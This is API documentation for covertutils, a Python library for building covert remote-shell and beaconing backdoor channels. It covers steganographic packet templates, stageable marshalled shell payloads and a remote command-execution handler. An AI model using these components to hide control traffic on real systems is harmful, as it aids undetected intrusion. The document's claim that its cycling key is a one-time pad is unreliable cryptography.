CovertUtils Documentation

Release

Author

Jul 25, 2017

Contents:

This Project is free and open-source, available @ https://github.com/operatorequals/covertutils.

A Blog post about it, explaining *motivation* and *implementation internals* is located in my personal blog: https://securosophy.com/2017/04/22/reinventing-the-wheel-for-the-last-time-the-covertutils-package/

CHAPTER 1

Installation

You can always download/clone it from Github:

```
git clone https://github.com/operatorequals/covertutils
cd covertutils
python setup.py install          # this one may need root privileges
```

It is also available in PyPI, but I cannot guarantee that it will be the last version. https://pypi.python.org/pypi/covertutils/

```
pip install covertutils
```

Finally, the *makefile* in the git repo may contain useful commands, like *"compile"*. It may be wise to give it a look. Try compiling the *example* code locate at *examples/* directory in github repo.

CHAPTER 2

Package, subpackage and module structure

This project has been structured using single-file class approach. While this is not that Pythonic (more like Jav'ish) I find it best for a heavily Object Oriented Project like this.

To retain the Pythonic import structure, a *class*, say *Foo*, declared in a module-file, say, *pack/subpack/mod.py* can be imported both with:

```
from pack.subpack.mod import Foo
```

and

```
from pack.subpack import Foo
```

as all modules happen to contain only one class each.

To also borrow some more *Jav'ish* taste, all class names are *camelCased* and have their first letter *Capitalized*, while the modules containing them share the same name but all *lowercase*.

For example, the *covertutils.handlers.basehandler.BaseHandler* class can be imported like:

```
from covertutils.handlers.basehandler import BaseHandler
```

and like:

```
from covertutils.handlers import BaseHandler
```

as *covertutils.handlers.basehandler* only contains the *BaseHandler* class

CHAPTER 3

Components

Here you can find code snippets from *covertutils* basic internal components. They are documented under the covertutils pages, but here they will parade in all their glory.

Their understanding is essential in case you want to create a new Orchestrator (*covertutils.orchestration.orchestrator.Orchestrator*) class, or generally tinker with the internals.

The Cycling Algorithm

Docs @ *covertutils.crypto.algorithms.standardcyclingalgorithm.StandardCyclingAlgorithm*

```
>>> from covertutils.crypto.algorithms import StandardCyclingAlgorithm as calg
>>>
>>> calg("A")                              # Has the same API as the hashlib classes
<covertutils.crypto.algorithms.standardcyclingalgorithm.StandardCyclingAlgorithm␣
↪object at 0x7f18034c44d0>
>>> calg("A").hexdigest()
'b1d841411463be057db1af5f41be284ebe6c144e9c2739415f93af7d7d5f417d'
>>> calg("A", length = 10).hexdigest()
'8d7d82938db18db15feb'
>>> calg("A", length = 10, cycles = 20).hexdigest()
'8d7d82938db18db15feb'          # "cycles = 20" is the default argument value
>>> calg("A", length = 10, cycles = 21).hexdigest()
'b15ff5fa1b41c9273993'
>>> calg("B", length = 10, cycles = 21).hexdigest()
'6fc5096f819081719f9f'
>>>
```

Yet this algorithm is not a Secure Hasher, as it can contain collisions. It is only used for Cycling Key implementation

The Cycling Key

Docs @ *covertutils.crypto.keys.standardcyclingkey.StandardCyclingKey*

The Key cycles with every encryption/decryption making it impossible to decrypt the same ciphertext twice.

This makes it an efficient One-Time-Pad Scheme.

```
>>> from covertutils.crypto.keys import StandardCyclingKey as ckey
>>>
>>> key1 = ckey("SecretPassphrase")
>>> key2 = ckey("SecretPassphrase")
>>> message = "A"*100
>>>
>>> encr1 = key1.encrypt(message)       # Encrypting the message with Key1
>>> print encr1.encode('hex')
00e8b5dd97ffff87324686f21ee1b5e10f4b1100b4442c1cccba76ec22ee003a840eb87b2974a421a6e31cec7b752f1d7bd1b
>>>
>>> print key2.decrypt(encr1)
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>>>
>>> key1 = ckey("SecretPassphrase")     # Resetting Key1 breaks sync with Key2
>>> encr1 = key1.encrypt(message)
>>> print key2.decrypt(encr1)           # Key2 is ahead of Key1 as it has cycled in␣
↪the previous decryption.
Y<];E~L}:M7=%!lZiùA{AU4   ?E!!E/v1
K/}oe|8
>>>
```

Stream Identification

Docs @ *covertutils.orchestration.streamidentifier.StreamIdentifier*

```
>>> streams = ['main', 'secondary']
>>> id1 = sident("passphrase", streams)
>>>
>>> id2 = sident("passphrase", streams, reverse = True)
>>>
>>> id1.getStreams()    # There is always a hard-coded stream for safety reasons
['control', 'main', 'secondary']
>>>
>>> tag = id1.getIdentifierForStream('main', byte_len=4)
>>>
>>> tag
'\x1e\xf33_'    # it is 4 bytes: \x1e,\xf3, 3, _
>>>
>>> id2.checkIdentifier(tag)
'main'
>>>
```

Compressor

Docs @ *covertutils.datamanipulation.compressor.Compressor*

```
>>> from covertutils.datamanipulation import Compressor
>>> comp = Compressor()
>>> message = "A"*100
>>>
>>> compressed = comp.compress(message)
>>> print compressed
xst=}e
>>> comp.decompress(compressed)

↪'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
↪'
>>>
```

Chunker

Docs @ *covertutils.datamanipulation.chunker.Chunker*

```
>>> from covertutils.datamanipulation import Chunker
>>>
>>> ch1 = Chunker( 10, 5 )
>>> ch2 = Chunker( 10, 5, reverse = True )
>>>
>>> message = "A"*100
>>>
>>> ch1.chunkMessage( message ) # 10 bytes each chunk, with delimiter.
['\x00AAAAAAAAA', '\x00AAAAAAAAA', '\x00AAAAAAAAA', '\x00AAAAAAAAA', '\x00AAAAAAAAA',
↪'\x00AAAAAAAAA', '\x00AAAAAAAAA', '\x00AAAAAAAAA', '\x00AAAAAAAAA', '\x00AAAAAAAAA',
↪ '\x00AAAAAAAAA', '\x01A\xe8\xfce\xe2\r\xd6\xb9t']
>>>     # The last chunk contains random padding
>>>
>>> chunks = ch1.chunkMessage( message )
>>> print chunks
['\x00AAAAAAAAA', '\x00AAAAAAAAA', '\x00AAAAAAAAA', '\x00AAAAAAAAA', '\x00AAAAAAAAA',
↪'\x00AAAAAAAAA', '\x00AAAAAAAAA', '\x00AAAAAAAAA', '\x00AAAAAAAAA', '\x00AAAAAAAAA',
↪ '\x00AAAAAAAAA', '\x01A\xa8\x8e\xa2\xf7v"\xb6/']
>>>
>>> for chunk in chunks :
...     ch2.deChunkMessage( chunk )
...
(None, None)
(None, None)
(None, None)
(None, None)
(None, None)
(None, None)
(None, None)
(None, None)
(None, None)
(None, None)
(None, None)
(True,
↪'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
↪')
>>>
```

Steganography Injector

Docs @ *covertutils.datamanipulation.stegoinjector.StegoInjector*

The most engineered class in the whole project.

```
>>> from covertutils.datamanipulation import StegoInjector
>>>
>>> stego_config = '''
... X:_data_:
... Y:_sxor_( chr(_index_), _data_ ):
...
... sample1="""4142XXYYXXYY4344"""
... '''
>>>
>>> sinj = StegoInjector(stego_config)
>>>
>>> payload = sinj.inject("\x00" * 4, 'sample1')
>>> print payload.encode('hex')
4142000300054344
>>>
>>> payload2 = sinj.injectByTag( {'X' : '\xff' * 2, 'Y' : '\x00' * 2}, 'sample1')
>>> print payload2.encode('hex')
4142ff03ff054344
>>>
>>> sinj.extract(payload, 'sample1')
'\x00\x00\x00\x00'
>>>
>>> sinj.extractByTag(payload2, 'sample1')
{'Y': bytearray(b'\x00\x00'), 'X': bytearray(b'\xff\xff')}
>>>
>>> sinj.guessTemplate(payload)
('sample1', 1.0)                #       (template_name, possibility)
>>>
```

Steganography Packet Templating

HTTP Protocol Stego

```
>>> from covertutils.datamanipulation import asciiToHexTemplate
>>>
>>> search_request="""GET /search.php?q=~~~~~~~~?userid=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
↪~~~~~~~~ HTTP/1.1
... Host: {0}
... Cookie: SESSIOID=~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
↪~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
... eTag: ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
...
... """
>>> search_template = asciiToHexTemplate(search_request)
>>>
>>> print search_template
0a474554202f7365617263682e7068703f713dXXXXXXXXXXXXXXXX3f7573657269643dXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
>>>
>>> stego_config = """
```

```
... X:_data_:
... search='''%s'''
... """ % search_template
>>>
>>> from covertutils.datamanipulation import StegoInjector
>>>
>>> sinj = StegoInjector(stego_config)
>>> sinj.getCapacityDict( 'search' )
{'X': 212}
>>>
>>> packet = sinj.inject("A"*212, 'search')
>>> print packet
GET /search.php?q=AAAAAAAA?userid=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1
Host: {0}
Cookie:␣
↪SESSIOID=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
eTag: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
>>>
```

CHAPTER 4

covertutils package

Subpackages

covertutils.crypto package

Subpackages

covertutils.crypto.algorithms package

Submodules

covertutils.crypto.algorithms.cyclingalgorithm module

class covertutils.crypto.algorithms.cyclingalgorithm.**CyclingAlgorithm**(*message*)

Bases: object

__init__(*message*)

digest()

hexdigest()

update(*message*)

covertutils.crypto.algorithms.standardcyclingalgorithm module

class covertutils.crypto.algorithms.standardcyclingalgorithm.**StandardCyclingAlgorithm**(*message*, *length=32*, *cycles=20*)

Bases: *covertutils.crypto.algorithms.cyclingalgorithm.CyclingAlgorithm*

__init__(*message*, *length=32*, *cycles=20*)

digest()

Module contents

covertutils.crypto.keys package

Submodules

covertutils.crypto.keys.cyclingkey module

class covertutils.crypto.keys.cyclingkey.**CyclingKey**(*passphrase*, ***kw*)
Bases: object

__init__(*passphrase*, ***kw*)

cycle(*rounds=1*)

getKeyBytes(*length*)

getKeyLength()

Return type int

Returns Returns the key length.

getUUIDBytes(*length*)

reset()

setCycle(*cycle*)

covertutils.crypto.keys.encryptionkey module

class covertutils.crypto.keys.encryptionkey.**EncryptionKey**
Bases: object

decrypt(*crypt*)

encrypt(*plain*)

covertutils.crypto.keys.hailstonekey module

covertutils.crypto.keys.standardcyclingkey module

class covertutils.crypto.keys.standardcyclingkey.**StandardCyclingKey**(*passphrase*, *cycling_algorithm=None*, *cycle=True*, *salt=None*, ***kw*)
Bases: *covertutils.crypto.keys.cyclingkey.CyclingKey*, *covertutils.crypto.keys.encryptionkey.EncryptionKey*

__init__(*passphrase*, *cycling_algorithm=None*, *cycle=True*, *salt=None*, ***kw*)

Parameters

- **passphrase** (*str*) – The key will be created against a *passphrase*. Passphrase will be the primary seed of all cycling. If a Secure __hash function is used, it is length won't provide additional security, or better encryption.
- **cycling_algorithm** (*object*) – The cycling algorithm determines the key quality. By default the :class:CyclingAlgorithm class is used, but *hashlib.md5*, *hashlib.sha256* and every hash function object with a *digest()* method can be used.
- **salt** (*str*) – Salt further differentiates the key from other keys with the same *passphrase*. For two keys to be compatible they must have the same *salt* too. If not specified a default salt is used.

cycle(*rounds=1*)

decrypt(*crypt*)

encrypt(*plain*)

getCycles()

Return type int

Returns Returns the number of rounds the key has cycled.

getKeyBytes(*length=None*)

getKeyLength()

getUUIDBytes(*length=None*)

reset()

setCycle(*cycle*)

xor(*message*, *cycle=True*)

Module contents

Module contents

covertutils.datamanipulation package

Submodules

covertutils.datamanipulation.adhocchunker module

class covertutils.datamanipulation.adhocchunker.**AdHocChunker**(*tag_length=2*)

The AdHocChunker class is a special chunker that doesn't tag each chunk that creates. It works by concatenating the actual byte size of the message that is to be chunked with the message itself. It splits the message into even chunks of size that is passed in the *chunkMessage()* method.

The dechunking works by first identifying the byte length of the whole message and waiting until all bytes are received, discarding any padding bytes.

__init__(*tag_length=2*)

chunkMessage(*payload*, *chunk_size=None*)

Parameters **payload** (*str*) – The raw data to be chunked in bytes.

Return type list

Returns A list of chunks containing the chunked *payload*.

chunkMessageToStr(*payload*)

deChunkMessage(*chunk*)

Parameters **chunk** (*str*) – A part of a chunked message to be assembled.

Return type tuple

Returns The method return a tuple of (status, message). If status is *False* or *None* the provided chunk isn't the last part of the message and the message contains an empty string. Else, the assembled message can be found in *message*.

reset()
Resets all partially assembled messages.

setChunkSize(*chunk_size*)

covertutils.datamanipulation.chunker module

class covertutils.datamanipulation.chunker.**Chunker**(*chunk_length*, *dechunk_length=None*, *reverse=False*)
The Chunker class is used to initialize chunk and de-chunk messages.

__init__(*chunk_length*, *dechunk_length=None*, *reverse=False*)

Parameters

- **chunk_length** (*int*) – This parameter defines the size of the output chunks, containing tagging.
- **dechunk_length** (*int*) – This parameter defines the size of the input chunks, containing tagging.
- **reverse** (*bool*) – If *True* the *chunk_length* and *dechunk_length* are swapped. Useful when setting up 2 instances that have to match.

chunkMessage(*payload*)

Parameters **payload** (*str*) – The raw data to be chunked in bytes.

Return type list

Returns A list of chunks containing the chunked *payload*.

chunkMessageToStr(*payload*)

deChunkMessage(*chunk*, *ret_chunk=False*)

Parameters **chunk** (*str*) – A part of a chunked message to be assembled.

Return type tuple

Returns The method return a tuple of (status, message). If status is *False* the provided chunk isn't the last part of the message and the message contains an empty string. Else, the assembled message can be found in *message*.

reset()
Resets all partially assembled messages.

covertutils.datamanipulation.compressor module

class covertutils.datamanipulation.compressor.**Compressor**

The Compressor class initializes the **bz2** and **zlib** compression routines. It detects the used compression on a **trial and error** base, eliminating the need of flag bytes containing such information.

__init__()

compress(*message*)

This funtion performs all provided compression algorithm to the *message* parameter and decides which does the most efficient compression. It does so by comparing the output lengths.

Parameters **message** (*str*) – The data to be compressed in raw bytes.

Return type str

Returns Data compressed by most efficient available algorithm.

decompress(*zipped*)

This funtion performs all provided decompression algorithm to the provided data. Based on the assumption that any decompression algorithm raises an Exception if the compressed data is not compatible, it finds the used compression algorithm and returns the decompressed data.

Parameters **message** (*str*) – The data to be compressed in raw bytes.

Return type str

Returns Data compressed by most efficient available algorithm.

covertutils.datamanipulation.datatransformer module

class covertutils.datamanipulation.datatransformer.**DataTransformer**(*stego_configuration*, *transformation_list*)

This class provides automated data transformations. It uses the *covertutils.datamanipulation.stegoinjector.StegoInjector* class to create alterations to existing data chunks.

Transformation List

The Transformation List argument is a specially structured list to dictate to the *DataTranformer* which changes should be done to data packet. Specifically, for a SYN - (RST, ACK) sequence to be simulated, the following configuration should be used:

```
X:_data_:
L:_data_:
K:_data_:

ip_tcp_syn = ''
↪'45000028LLLL000040067ccd7f0000017f000001XXXX0050KKKKKKKK00000000500220000917c0000
↪'''

ip_tcp_rst_ack = ''
↪'450000280001000040067ccd7f0000017f00000100140050000000000XXXXXXXXXX50142000916a0000
↪'''
```

The Transformation List that has to be used should dictate the class to:

- Unpack Sequence Number from *ip_tcp_syn* template (K tag)
- Increment it by 1
- Place it to a *ip_tcp_rst_ack* template (X tag)

- All the above while handling **endianess**, **integer overflow checks**, etc

The *transformation_list* is declared below:

```
transformation_list = [ (       # Tranformation #1
        ( 'ip_tcp_syn:K', 'ip_tcp_rst_ack:X' ),         # From template:tag to␣
↪template:tag
        ('!I','!I')             # Unpack as an 4-byte Integer (reverse Endianess␣
↪as of network Endianess) and pack it to 4-byte Integer (reverse Endianess again)
        '_data_ + 1'    # Eval this string (with the extracted/unpacked data as '_
↪data_') and pack the result.
        ),
                # No other transformations
]
```

__init__(*stego_configuration*, *transformation_list*)

Parameters

- **stego_configuration** (*str*) – The Stego Configuration to initialize the internal *covertutils.datamanipulation.stegoinjector.StegoInjector* object.
- **transformation_list** (*list*) – The Tranformation List as described above.

runAll(*pkt*, *template=None*)

Runs all Tranformations in the *transformation_list* that relate to the specified template.

Parameters

- **pkt** (*str*) – The data packet to run the Tranformations on. In *Raw Bytes*.
- **template** (*str*) – The template string that describes the given data packet. If *None* the *covertutils.datamanipulation.stegoinjector.StegoInjector.guessTemplate()* function will try to guess the correct template.

Return type str

Returns Returns the *pkt* with all the related tranformations applied.

covertutils.datamanipulation.stegoinjector module

This module provides functionality for steganography. It uses a configuration string with custom syntax to describe *where* and *how* will data be injected in a template.

Stego Configuration Syntax Description

- **Tags** Tags are used to specify the functions that will be applied on each byte at injection and extraction.
- **Templates** Templates are hex strings containing the Tag Letters wherever arbitrary data can be injected.

Example Syntax:

```
# Comments symbol is traditionally the '#'

# -- Tags --
# Those are the tags. Declared as:
# Letter:<InjectionFunction>:<ExtractionFunction>
# Functions get evaluated with python 'eval' under the following context:
# _data_: byte to be injected, extracted
# _len_: packet length
# _index_: index of the byte injected/extracted
```

```
# _capacity_: Byte capacity of the packet as declared below
# _sxor_: Function that gets 2 char bytes and returns their XOR'd value
#
# Data functions that are reflective [applied twice to an input returns the input (e.
↪g XOR operation)], do not need the <ExtractionFunction> part.
# Do need the last colon (:) though.
#
# Examples:
X:_data_:                                                    # inject the data as provided
K:_sxor_(_data_, '\xaa'):                                    # inject the data xor'd with
↪'\xaa' byte. Use the same function for extraction
L:chr(ord(_data_) + 1):chr(ord(_data_) - 1)                  # inject each byte␣
↪incremented by 1. Decrement each byte before extraction.

# -- Packet Templates --
# Packet Templates, declared as:
# packet_template_name = '''Hex of the template packet with Tag Letters among the␣
↪valid bytes''' []<groups>
# Groups are declared as:
# TagLetter[start:end]
# and will automatically replace all bytes between 'start' and 'end' with the given␣
↪Tag Letter
#
# Those two templates are identical (Notice the Tag Letters between the Hex Values in␣
↪`ip_tcp_syn2`)
ip_tcp_syn1 = ''
↪'450000280001000040067ccd7f0000017f00000100140050000000000000000050022000917c0000''
↪'L[4:6],K[24:28],X[20:22]
ip_tcp_syn2 = ''
↪'45000028LLLL000040067ccd7f0000017f000001XXXX0050KKKKKKKK00000000050022000917c0000'''

# Whitespace and comments won't break the Strings
mac_ip_tcp_syn = '''ffffffffffff000000000000800        # MAC header
450000280001000040067ccd7f0000017f000001               # IP header
00140050000000000000000050022000917c0000'''K[18:20],K[38:42],K[34:36]
```

class covertutils.datamanipulation.stegoinjector.**StegoInjector**(*stego_template*, *hex_inject=False*)

__init__(*stego_template*, *hex_inject=False*)

extract(*pkt*, *template*)

Parameters

- **pkt** (*str*) – A packet that matches the template in size, that contains covert data the way the *template* provides.
- **template** (*str*) – The template that will be used to extract the data from. It must be the same with the one used to inject the data in the *pkt*.

Return type str

Returns The data extracted from the *pkt*

extractByTag(*pkt*, *template*)

getCapacity(*template*, *tag=None*)

Parameters **template** (*str*) – The name of the template whose capacity is desired.

Return type int

Returns The template's capacity in bytes

getCapacityDict(*template*)

Parameters **template** (*str*) – The name of the template whose capacity dict is desired.

Return type dict

Returns The template's capacity dict containing Tag Letters as keys and capacity of each Tag in bytes as values.

A sample *configuration* :

```
X:_data_:
Y:_data_:
sample='''4141XX4242YYYY'''
```

Example

```
psi = StegoInjector( configuration )
psi.getCapacityDict( 'sample1' )
{ 'X' : 1, 'Y' : 2 }
```

getTemplates()

guessTemplate(*pkt*)

This method tries to guess the used template of a data packet by computing similarity of all templates against it.

Parameters **pkt** (*str*) – The data packet whose template is guessed.

Return type str

Returns A tuple containing the template name that matches best with the given packets and the similarity ratio.

inject(*data*, *template*, *pkt=None*)

Parameters

- **data** (*str*) – The data to be injected in raw bytes
- **template** (*str*) – The template that will be used to inject the data into.
- **pkt** (*str*) – A packet that matches the template is size, to inject the data instead of the template. A copy of the template will be used if this argument is not provided.

Return type str

Returns Template or packet with the given data injected.

injectByTag(*data_dict*, *template*, *pkt=None*)

Parameters

- **data_dict** (*dict*) – The data to be injected in a dict format, with *Tag Letters* as keys and Data to be injected where the specific Tag Letters are placed, as values.
- **template** (*str*) – The template that will be used to inject the data into.
- **pkt** (*str*) – A packet that matches the template is size, to inject the data instead of the template. A copy of the template will be used if this argument is not provided.

Return type str

Returns Template or packet with the given data injected.

A sample *configuration* :

```
X:_data_:
Y:_data_:
sample='''4141XX4242YY'''
```

Example

```
data_dict = { 'X' : '0', 'Y' : 1 }
psi = StegoInjector( configuration )
psi.injectByTag( data_dict, 'sample1' )
'AA0BB1'
```

covertutils.datamanipulation.stegoinjector.**asciiToHexTemplate**(*pkt*, *marker='~'*, *substitute='X'*)

This module function converts an ASCII chunk with single-byte *markers* and returns a *template*.

Parameters

- **pkt** (*str*) – The data packet in ASCII with *marker* byte where arbitrary bytes can be injected.
- **marker** (*str*) – The byte that will be interpreted as *marker*
- **substitute** (*str*) – The byte that will be replace the marker bytes in the hex-*template* representation.

Return type str

Returns The template representation populated with the *substitute* wherever the *marker* byte was placed.

Example:

```
req = 'GET /search.php?q=~~~~~~~~\n\n'
template = asciiToHexTemplate( req )
print template
474554202f7365617263682e7068703f713dXXXXXXXXXXXXXXXX0a0a
```

Module contents

covertutils.handlers package

Subpackages

covertutils.handlers.impl package

Submodules

covertutils.handlers.impl.simpleshell module

class covertutils.handlers.impl.simpleshell.**SimpleShellHandler**(*recv*, *send*, *orchestrator*, ***kw*)

Bases: *covertutils.handlers.functiondict.FunctionDictHandler*

This class provides an implementation of Simple Remote Shell. It can be used on any shell type and protocol (bind, reverse, udp, icmp, etc),by adjusting *send_function()* and *receive_function()*

All communication is chunked and encrypted, as dictated by the `covertutils.orchestration.SimpleOrchestrator` object.

This class directly executes commands on a System Shell (Windows or Unix) via the `os.popen()` function. The exact stage used to execute commands is explained in `covertutils.Stages`

__init__(*recv*, *send*, *orchestrator*, ***kw*)

Parameters

- **receive_function** (*function*) – A **blocking** function that returns every time a chunk is received. The return value must be return raw data.
- **send_function** (*function*) – A function that takes raw data as argument and sends it across.
- **orchestrator** (*orchestration.SimpleOrchestrator*) – An Object that is used to translate raw_data to *(stream, message)* tuples.

onChunk(*stream*, *message*)

onMessage(*stream*, *message*)

onNotRecognised()

Module contents

Submodules

covertutils.handlers.basehandler module

class covertutils.handlers.basehandler.**BaseHandler**(*recv*, *send*, *orchestrator*, ***kw*)
Bases: `object`

Subclassing this class and overriding its methods automatically creates a threaded handler.

__init__(*recv*, *send*, *orchestrator*, ***kw*)

Parameters

- **recv** (*function*) – A **blocking** function that returns every time a chunk is received. The return type must be raw data, directly fetched from the channel.
- **send** (*function*) – A function that takes raw data as argument and sends it across the channel.
- **orchestrator** (*orchestration.SimpleOrchestrator*) – An Object that is used to translate raw data to *(stream, message)* tuples.

getOrchestrator()

Return type *Orchestrator*

Returns Returns the Orchestrator object used to create this *Handler* instance.

onChunk(*stream*, *message*)
AbstractMethod

This method runs whenever a new recognised chunk is consumed.

Parameters

- **stream** (*str*) – The recognised stream that this chunk belongs.
- **message** (*str*) – The message that is contained in this chunk. Empty string if the chunk is not the last of a reassembled message.

This method will run even to for chunks that will trigger the *onMessage()* method. To stop that you need to add the above code in the beginning.

```
if message != '' :      # meaning that the message is assembled, so␣
↪onMessage() will run
        return
```

onMessage(*stream*, *message*)

AbstractMethod

This method runs whenever a new message is assembled.

Parameters

- **stream** (*str*) – The recognised stream that this chunk belongs.
- **message** (*str*) – The message that is contained in this chunk.

onNotRecognised()

AbstractMethod

This method runs whenever a chunk is not recognised.

Return type None

sendAdHoc(*message*, *stream=None*, *assert_len=0*)

This method uses the object's *SimpleOrchestrator* instance to send raw data to the other side, throught the specified *Stream*. If *stream* is *None*, the default Orchestrator's stream will be used.

Parameters

- **message** (*str*) – The *message* send to the other side.
- **stream** (*str*) – The *stream* name that will tag the data.
- **assert_len** (*int*) – Do not send if the chunked message exceeds *assert_len* chunks.

Return type bool

True is returned when the message is sent, *False* otherwise.

covertutils.handlers.buffering module

class covertutils.handlers.buffering.**BufferingHandler**(*recv*, *send*, *orchestrator*, ***kw*)

Bases: *covertutils.handlers.basehandler.BaseHandler*

Subclassing this class and overriding its methods automatically creates a threaded handler.

__init__(*recv*, *send*, *orchestrator*, ***kw*)

empty()

get()

getCondition()

onMessage(*stream*, *message*)

covertutils.handlers.functiondict module

class covertutils.handlers.functiondict.**FunctionDictHandler**(*recv*, *send*, *orchestrator*, ***kw*)

Bases: *covertutils.handlers.basehandler.BaseHandler*

This class provides a per-stream function dict. If a message is received from a *stream*, a function corresponding to this particular stream will be executed with single argument the received message. The function's return value will be sent across that stream to the message's sender.

Ideal for simple *remote shell* implementation.

The FunctionDictHandler class implements the *onMessage()* function of the BaseHandler class. The *function_dict* passed to this class *__init__()* must have the above format:

```
def os_echo( message ) :
        from os import popen
        resp = popen( "echo %s" % 'message' ).read()
        return resp

function_dict = { 'echo' : os_echo }
```

Note: The functions must be **absolutely self contained**. In the above example the *popen()* function is imported inside the *os_echo*. This is to ensure that *popen()* will be available, as there is no way to tell if it will be imported from the handler's environment.

Well defined functions for that purpose can be found in *covertutils.payloads*. Also usable for the StageableHandler class

```
from covertutils.payloads import CommonStages
pprint( CommonStages )
{'shell': {'function': <function __system_shell at 0x7fc347472320>,
           'marshal':
↪'c\x01\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00C\x00\x00\x00s&
↪\x00\x00\x00d\x01\x00d\x02\x00l\x00\x00m\x01\x00}
↪\x01\x00\x01|\x01\x00|\x00\x00\x83\x01\x00j\x02\x00\x83\x00\x00}
↪\x02\x00|\x02\x00S(\x03\x00\x00\x00Ni\xff\xff\xff\xff(\x01\x00\x00\x00t\x05\x00\x00\x00popen(\
↪Stages.pyt\x0e\x00\x00\x00__system_
↪shell\x04\x00\x00\x00s\x06\x00\x00\x00\x01\x10\x01\x12\x01'}}
```

__init__(*recv*, *send*, *orchestrator*, ***kw*)

Parameters **function_dict** (*dict*) – A dict containing *(stream_name, function)* tuples. Every time a message is received from *stream_name*, *function(message)* will be automatically executed.

onMessage(*stream*, *message*)

Raises NoFunctionAvailableException

covertutils.handlers.interrogating module

class covertutils.handlers.interrogating.**InterrogatingHandler**(*recv*, *send*, *orchestrator*, ***kw*)

Bases: *covertutils.handlers.basehandler.BaseHandler*

This handler has a beaconing behavior, repeatedly querring the channel for messages. This behavior is useful on agents that need to have a client-oriented traffic. HTTP/S agents (meterpreter HTTP/S) use this approach, issueing HTTP (GET/POST) requests to the channel and executing messages found in HTTP responses. This behavior can simulate Web Browsing, ICMP Ping, DNS traffic schemes.

This handler can be nicely coupled with `covertutils.handlers.ResponseOnlyHandler` for a Server-Client approach.

Defaults = {'request_data': 'X', 'fetch_stream': 'control', 'delay_between': (1.0, 2.0)}

__init__(*recv*, *send*, *orchestrator*, ***kw*)

Parameters

- **request_data** (*str*) – The actual payload that is used in messages thet request data.
- **delay_between** (*tuple*) – A *tuple* containing 2 *floats* or *ints*. The beaconing intervals will be calculated randomly between these 2 numbers.
- **fetch_stream** (*str*) – The stream where all the beaconing will be tagged with.

queueSend(*message*, *stream=None*)

Parameters

- **message** (*str*) – The message that will be stored for sending upon request.
- **stream** (*str*) – The stream where the message will be sent.

readifyQueue()

covertutils.handlers.resettable module

class covertutils.handlers.resettable.**ResettableHandler**(*recv*, *send*, *orchestrator*, ***kw*)

Bases: *covertutils.handlers.basehandler.BaseHandler*

This handler can reset the `covertutils.orchestration.SimpleOrchestrator` object (reset all crypto keys, stream identifiers, chunkers), in case the state between the agent and handler is lost.

Defaults = {'reset_data': 'R'}

__init__(*recv*, *send*, *orchestrator*, ***kw*)

onMessage(*stream*, *message*)

reset()

sendReset()

covertutils.handlers.responseonly module

class covertutils.handlers.responseonly.**ResponseOnlyHandler**(*recv*, *send*, *orchestrator*, ***kw*)

Bases: *covertutils.handlers.basehandler.BaseHandler*

This handler doesn't send messages with the *sendAdHoc* method. It implements a method *queueSend* to queue messages, and send them only if it is queried with a *request_data* message.

Can be nicely paired with `covertutils.handlers.InterrogatingHandler` for a Client-Server approach.

Defaults = {'request_data': 'X'}

__init__(*recv*, *send*, *orchestrator*, ***kw*)

Parameters **request_data** (*str*) – The data that, when received as message, a stored chunk will be sent.

onMessage(*stream*, *message*)

queueSend(*message*, *stream=None*)

Parameters

- **message** (*str*) – The message that will be stored for sending upon request.
- **stream** (*str*) – The stream where the message will be sent.

readifyQueue()

covertutils.handlers.stageable module

class covertutils.handlers.stageable.**StageableHandler**(*recv*, *send*, *orchestrator*, ***kw*)

Bases: *covertutils.handlers.functiondict.FunctionDictHandler*

The StageableHandler is a covertutils.handlers.FunctionDictHandler that can load payloads (stages) during execution. Additional functions can be sent in a serialized form (ready stages can be found in *covertutils.payloads*). The stage function have to be implemented according to covertutils.handlers.FunctionDictHandler documentation.

To running *StageableHandler's, additional functions can be packed with the :func:covertutils.handlers.'StageableHandler.createStageMessage* and sent like normal messages with a *sendAdHoc* call.

Defaults = {'stage_stream': 'stage'}

__init__(*recv*, *send*, *orchestrator*, ***kw*)

Parameters **stage_stream** (*str*) – The stream where all stages will be received.

createStageMessage(*stream*, *serialized_function*, *replace=True*)

Parameters

- **stream** (*str*) – The stream where the new stage will receive messages from.
- **serialized_function** (*str*) – The stage-function serialized with the *marshal* build-in package.
- **replace** (*bool*) – If True the stage that currently listens to the given stream will be replaced.

onMessage(*stream*, *message*)

Module contents

This module provides a template for Automatic protocol creation. The base class covertutils.handlers.BaseHandler provide an API with methods:

- onChunk()
- onMessage()
- onNotRecognized()

Subclassing the *BaseHandler* class needs an implementation of the above methods.

```
from covertutils.handlers import BaseHandler

class MyHandler( BaseHandler ) :

        def onMessage( self, stream, message ) :
```

```
                print "Got Message '%s' from Stream %s" % ( stream, message )

        def onChunk( self, stream, message ) :
                print "Got Chunk from Stream %s" % ( stream, message )
                if message != '' :
                        print "This was the last chunk of a message"

        def onNotRecognised( self ) :
                print "Got Garbage Data"
```

Creating a *MyHandler* Object needs 2 wrapper functions for raw data **sending** and **receiving**. The receiving function needs to be **blocking**, just like `socket.socket.recv()` Also a `covertutils.orchestration.SimpleOrchestrator` object is required to handle data chunking, compression and encryption.

```
passphrase = "Th1s1sMyS3cr3t"
